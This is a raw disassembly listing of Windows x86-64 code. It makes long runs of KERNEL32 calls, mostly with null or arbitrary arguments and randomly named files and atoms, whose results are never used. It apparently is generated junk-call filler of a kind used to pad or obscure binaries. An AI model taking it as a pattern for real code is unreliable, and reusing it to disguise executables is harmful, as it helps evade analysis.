xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov r9d, 0x1562
xor r8d, r8d
lea rdx, [rsp + 0xaba0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4e00], eax
movzx eax, byte [rsp + 0x287]
mov rcx, qword [rsp + 0x9218]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0xa658]
mov byte [rcx], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
movzx eax, word [rsp + 0x11c8]
mov word [rsp + 0x1450], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xaaa8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov rax, qword [rsp + 0xa820]
movzx ecx, al
mov rax, qword [rsp + 0x87e0]
shr rax, cl
mov qword [rsp + 0x8650], rax
movzx ecx, word [rsp + 0x104c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1454], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
mov rax, qword [rsp + 0xae98]
mov rcx, qword [rsp + 0x88f8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa498]
mov qword [rcx], rax
lea rdx, [rsp + 0x9a58]
mov rcx, qword [rsp + 0x95c0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4c14], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x4200]
mov qword [rsp + 0xb2b0], rax
lea rcx, [rsp + 0x1a438]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xa550]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf90]
imul eax, ecx
mov word [rsp + 0x998], ax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
lea rax, [rsp + 0x2a2]
mov qword [rsp + 0xb2b8], rax
mov eax, dword [rsp + 0x4550]
mov dword [rsp + 0x48d4], eax
lea rcx, str.RfxG_ItPQPjh_MsAw
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1440], ax
mov rcx, qword [rsp + 0xa840]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rcx, [rsp + 0x1aaf8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rax, [rsp + 0x13e4]
mov qword [0x14024f118], rax
lea rdx, [rsp + 0xaa38]
mov rcx, qword [rsp + 0x9920]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4c00], eax
lea rcx, [0x140233504]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1458], ax
movzx eax, byte [rsp + 0x2af]
mov rcx, qword [0x14024f1b8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xb180]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov rax, qword [rsp + 0xa200]
mov rcx, qword [rsp + 0x9620]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x87a0], rax
mov rcx, qword [rsp + 0xa440]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4c4c], eax
mov rax, qword [rsp + 0xabf8]
mov rcx, qword [0x14022fb60]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa0c0]
mov qword [rcx], rax
mov edx, 0x1c37
mov rcx, qword [rsp + 0xaec8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4e04], eax
lea rax, [rsp + 0x1a3]
mov qword [rsp + 0xb2c0], rax
mov rax, qword [rsp + 0xa638]
mov ecx, dword [rsp + 0x4190]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3e38], eax
lea rax, [rsp + 0xf48]
mov qword [rsp + 0xb2c8], rax
mov rax, qword [rsp + 0xb2b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xaa28]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2be], al
movzx ecx, word [rsp + 0x1280]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfa8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov rax, qword [rsp + 0xa618]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaad8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1344], ax
lea rax, [rsp + 0x4c48]
mov qword [0x14024f110], rax
lea rax, [rsp + 0xaaf8]
mov qword [rsp + 0xb2d0], rax
mov rax, qword [rsp + 0xad20]
imul rax, qword [rsp + 0xa7e0]
mov qword [rsp + 0x8658], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
lea rcx, str.KjL2_RN
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x145c], ax
mov r9d, 1
lea r8, [rsp + 0xafd0]
mov rdx, qword [rsp + 0xab28]
mov rcx, qword [rsp + 0xa3b8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4b24], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.luJGecT1iQnaURXyLOBQSrDRBKc
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb2d8], rax
lea rax, [rsp + 0x285]
mov qword [rsp + 0xb2e0], rax
movzx ecx, word [rsp + 0x1140]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10d4], ax
mov rax, qword [rsp + 0x8e08]
movzx eax, word [rax]
movzx ecx, word [0x14022fb98]
sub eax, ecx
mov word [rsp + 0x10cc], ax
mov rcx, qword [rsp + 0x9078]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4e08], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
movsx eax, byte [rsp + 0x271]
movsx ecx, byte [rsp + 0x2b6]
add eax, ecx
mov byte [rsp + 0x28a], al
mov rcx, qword [rsp + 0xa660]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
lea rax, [rsp + 0x3e5c]
mov qword [rsp + 0xb2e8], rax
xor r9d, r9d
lea r8, [rsp + 0x9810]
mov rdx, qword [rsp + 0x9278]
mov rcx, qword [rsp + 0xa8a8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4e0c], eax
movsx eax, word [rsp + 0x984]
mov rcx, qword [rsp + 0x9bd0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9ad0]
mov word [rcx], ax
mov eax, dword [rsp + 0x3f04]
mov dword [rsp + 0x4e10], eax
mov eax, dword [rsp + 0x48cc]
mov ecx, dword [rsp + 0x4cf8]
add ecx, eax
mov eax, ecx
mov dword [0x14024f3b8], eax
movzx eax, word [rsp + 0x1030]
mov rcx, qword [rsp + 0xa628]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1390], ax
mov rcx, qword [rsp + 0xb280]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4bf4], eax
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x277]
sar eax, cl
mov rcx, qword [rsp + 0xb020]
mov byte [rcx], al
mov qword [rsp + 0x20], 0
mov r9d, 0x3658
mov r8d, 0x677
mov edx, 0xa6
mov rcx, qword [rsp + 0x9b18]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4e14], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
lea rcx, [rsp + 0x8d10]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9a48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9f28]
mov qword [rsp + 0xb2f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb2f0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x7e30], rax
mov rax, qword [rsp + 0xa570]
mov rax, qword [rax]
cqo
idiv qword [rsp + 0xb058]
mov qword [rsp + 0x8248], rax
lea rcx, [rsp + 0x1a498]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xa9f0]
movzx eax, word [rax]
mov word [rsp + 0x1460], ax
mov rax, qword [rsp + 0xa450]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb1e8]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa600]
mov byte [rcx], al
movzx ecx, word [rsp + 0x137c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1464], ax
lea rdx, [rsp + 0xabd0]
mov rcx, qword [rsp + 0xaf50]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4b34], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.pcSEvykp2L2N7yorHGiv
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb2f8], rax
lea rcx, [rsp + 0x9e90]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x9848]
mov rcx, qword [rsp + 0x9d80]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x46c4], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xada0], rax
movzx ecx, word [rsp + 0xf88]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfd8], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xb300], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
lea rax, [rsp + 0x1138]
mov qword [rsp + 0xb308], rax
lea rcx, [rsp + 0x1a7c8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, byte [rsp + 0x2bf]
mov byte [0x14024f108], al
mov rax, qword [rsp + 0xa128]
mov rcx, qword [rsp + 0x87e0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9330]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x9188]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r9d, r9d
lea r8, [rsp + 0xa4a0]
mov rdx, qword [rsp + 0xa8d8]
mov rcx, qword [rsp + 0xa4c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4e18], eax
movzx ecx, word [rsp + 0x1064]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf6c], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9f40], rax
mov eax, dword [rsp + 0x4b30]
mov ecx, dword [rsp + 0x4ac0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x41a0], eax
mov dword [rsp + 0x21c00], 0x11c
movzx ecx, word [rsp + 0x10c8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10dc], ax
mov rcx, qword [rsp + 0xb298]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4ba0], eax
mov rax, qword [rsp + 0xaf20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaf88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7db8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, str.TF2HHE_3bog_M2FV
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x11a4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
mov rax, qword [rsp + 0x9588]
mov eax, dword [rax]
mov dword [rsp + 0x4e1c], eax
movsx eax, byte [rsp + 0xd6]
mov rcx, qword [rsp + 0xa488]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x199], al
mov r9d, 0x1f7e
xor r8d, r8d
lea rdx, [rsp + 0xb260]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4e20], eax
mov rax, qword [rsp + 0xab10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x11f8]
sub eax, ecx
mov rcx, qword [rsp + 0xa308]
mov word [rcx], ax
lea rax, [rsp + 0x4acc]
mov qword [rsp + 0xb310], rax
movzx eax, word [rsp + 0x700]
movzx ecx, word [rsp + 0x1390]
imul eax, ecx
mov word [rsp + 0xfc4], ax
mov rcx, qword [rsp + 0x9e30]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, byte [rsp + 0x14c]
movzx ecx, byte [rsp + 0x26f]
and eax, ecx
mov rcx, qword [0x14024f1b8]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xb218], rax
lea rax, [rsp + 0xafd8]
mov qword [rsp + 0xb318], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb320], rax
movzx eax, byte [rsp + 0x2c7]
mov rcx, qword [rsp + 0xb060]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x26a], al
mov rax, qword [rsp + 0xace0]
mov rcx, qword [rsp + 0xa868]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4710], eax
lea rcx, [rsp + 0x9b20]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, word [rsp + 0xfc4]
mov word [rsp + 0x1468], ax
mov r9d, 0x14f7
xor r8d, r8d
lea rdx, [rsp + 0xafc0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4c20], eax
lea rcx, [0x1402335b8]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x118c], ax
movsx eax, byte [rsp + 0x2a8]
mov rcx, qword [rsp + 0xa488]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x27d], al
mov rax, qword [rsp + 0x9ed0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9f10]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x63c], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xb328], rax
lea rdx, [rsp + 0xa678]
mov rcx, qword [rsp + 0x9da8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4da4], eax
mov rax, qword [rsp + 0x96a8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa998]
mov qword [rsp + 0xb330], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb330]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4140], eax
mov rax, qword [rsp + 0xaa30]
mov rcx, qword [rsp + 0xaad0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb190], rax
lea rax, [rsp + 0x287]
mov qword [rsp + 0xb338], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea rcx, [rsp + 0xb340]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movzx ecx, word [rsp + 0x1380]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfb4], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.oqLSsDZp
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb348], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
movzx ecx, word [rsp + 0x1378]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1404], ax
lea rdx, [rsp + 0xa678]
mov rcx, qword [rsp + 0x9fd8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4e24], eax
mov r9d, 0x1c8e
xor r8d, r8d
lea rdx, [rsp + 0x9938]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4c84], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa7b8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x1098]
movzx ecx, word [rsp + 0xdec]
xor eax, ecx
mov word [0x14024f1d8], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb210], rax
lea rdx, [rsp + 0xa830]
mov rcx, qword [rsp + 0x95d8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4dfc], eax
lea rcx, str.DlJ_L1JyU0KU_TcvIR
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x146c], ax
mov rax, qword [rsp + 0xa5f8]
mov ecx, dword [rsp + 0x47b4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4590], eax
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x20100]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4bdc], eax
lea rcx, [rsp + 0xa708]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xb168]
mov rax, qword [rax]
mov qword [rsp + 0xb350], rax
mov rax, qword [rsp + 0xaee8]
mov rcx, qword [rsp + 0xa530]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xae40], rax
mov rax, qword [rsp + 0x8e00]
mov rcx, qword [rsp + 0xad88]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4d54], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.RpCgdVN6sT
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb358], rax
movzx ecx, word [rsp + 0x12f4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1234], ax
movsx eax, byte [rsp + 0x27f]
movsx ecx, byte [rsp + 0x228]
add eax, ecx
mov byte [rsp + 0x60], al
mov rcx, qword [rsp + 0x9da0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
movsx eax, word [0x14024f3bc]
movsx ecx, word [rsp + 0x898]
sub eax, ecx
mov word [rsp + 0xdb4], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xb360], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
mov qword [rsp + 0x20], 0
mov r9d, 0x889
mov r8d, 0x35dc
mov edx, 0xbe
mov rcx, qword [rsp + 0xa890]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4cbc], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.OQiy4z0UKeUhVu
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb368], rax
xor r8d, r8d
mov edx, 0x80
lea rcx, [rsp + 0x20a00]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4c60], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
movzx ecx, word [rsp + 0x1298]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1470], ax
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x20580]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4a4c], eax
mov rcx, qword [rsp + 0xb260]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rsp + 0x47d0]
mov dword [rsp + 0x4e28], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x9f88]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx ecx, word [rsp + 0xf10]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1104], ax
lea rcx, [rsp + 0x1a678]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb370], rax
mov rcx, qword [rsp + 0xaf78]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rdx, [rsp + 0xa020]
mov rcx, qword [rsp + 0xad58]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4da4], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb378], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xac68], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
mov r9d, 0x237f
xor r8d, r8d
lea rdx, [rsp + 0x9e60]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4e2c], eax
mov rax, qword [rsp + 0xb308]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x700]
sub eax, ecx
mov word [rsp + 0xc20], ax
lea rcx, [rsp + 0x1a7f8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rax, [rsp + 0x276]
mov qword [0x14024f100], rax
movzx ecx, word [rsp + 0x135c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x12a8], ax
mov rax, qword [rsp + 0xaee8]
mov rax, qword [rax]
mov qword [rsp + 0xb380], rax
mov rax, qword [rsp + 0x9ff0]
mov rcx, qword [rsp + 0xae98]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa000], rax
mov dword [rsp + 0x21d20], 0x11c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov rax, qword [rsp + 0x8e10]
mov rcx, qword [0x14024f258]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa6a8]
mov dword [rcx], eax
lea rax, [rsp + 0x124]
mov qword [rsp + 0xb388], rax
mov r9d, 1
lea r8, [rsp + 0xa610]
mov rdx, qword [rsp + 0xa1c0]
mov rcx, qword [rsp + 0xa7b0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4e08], eax
movsx eax, word [rsp + 0x9dc]
movsx ecx, word [rsp + 0x1398]
sub eax, ecx
mov word [rsp + 0x1188], ax
lea rax, [rsp + 0xb190]
mov qword [rsp + 0xb390], rax
mov dword [rsp + 0x21e40], 0x11c
mov rax, qword [rsp + 0xa738]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14022fb5c]
sar eax, cl
mov dword [rsp + 0x4024], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xacb8], rax
mov dword [rsp + 0x20], 0x3513
mov r9d, 0x359f
mov r8d, 0xbb3
mov edx, 0x5aa
mov rcx, qword [rsp + 0xa4e8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4e24], eax
movzx eax, word [rsp + 0x108c]
movzx ecx, word [rsp + 0x864]
shl eax, cl
mov rcx, qword [rsp + 0x8e68]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb398], rax
movzx eax, word [rsp + 0xf2c]
mov rcx, qword [rsp + 0xa518]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x14024f3c8], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xa948], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
mov rax, qword [rsp + 0x8e60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4c18]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x43d8], eax
mov rax, qword [rsp + 0xb2c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a9]
add eax, ecx
mov byte [rsp + 0x287], al
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2002
mov r9d, 0xed7
mov r8d, 0xcbb7c0a4
mov edx, 2
mov rcx, qword [rsp + 0xb150]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4e30], eax
lea rdx, [rsp + 0xa9d8]
mov rcx, qword [rsp + 0xb368]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4c3c], eax
mov rcx, qword [rsp + 0x9188]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4e34], eax
lea rax, [rsp + 0x2ab]
mov qword [rsp + 0xb3a0], rax
mov rax, qword [rsp + 0x9988]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa538]
movsx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x2c0], al
movsx eax, word [rsp + 0xf38]
movsx ecx, word [0x14024f3be]
and eax, ecx
mov word [rsp + 0x1084], ax
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x1fda0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4ccc], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa640], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
lea rax, [rsp + 0x4dd8]
mov qword [rsp + 0xb3a8], rax
lea rdx, [rsp + 0xa420]
mov rcx, qword [rsp + 0x9fd8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4888], eax
mov rax, qword [rsp + 0x9538]
mov rcx, qword [rsp + 0x9c58]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4c48], eax
lea rax, [rsp + 0x10cc]
mov qword [rsp + 0xb3b0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, byte [rsp + 0x2cb]
movzx ecx, byte [rsp + 0x205]
add eax, ecx
mov byte [0x14022fb82], al
mov rax, qword [rsp + 0x9d08]
mov rcx, qword [rsp + 0x9670]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xae98], rax
mov rax, qword [0x14022fb60]
mov qword [rsp + 0xb3b8], rax
lea rcx, [rsp + 0x1a558]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
mov rax, qword [rsp + 0xa728]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb350]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xafd8], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xab78], rax
mov rax, qword [rsp + 0x9fc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4970]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb0d0]
mov dword [rcx], eax
xor ecx, ecx
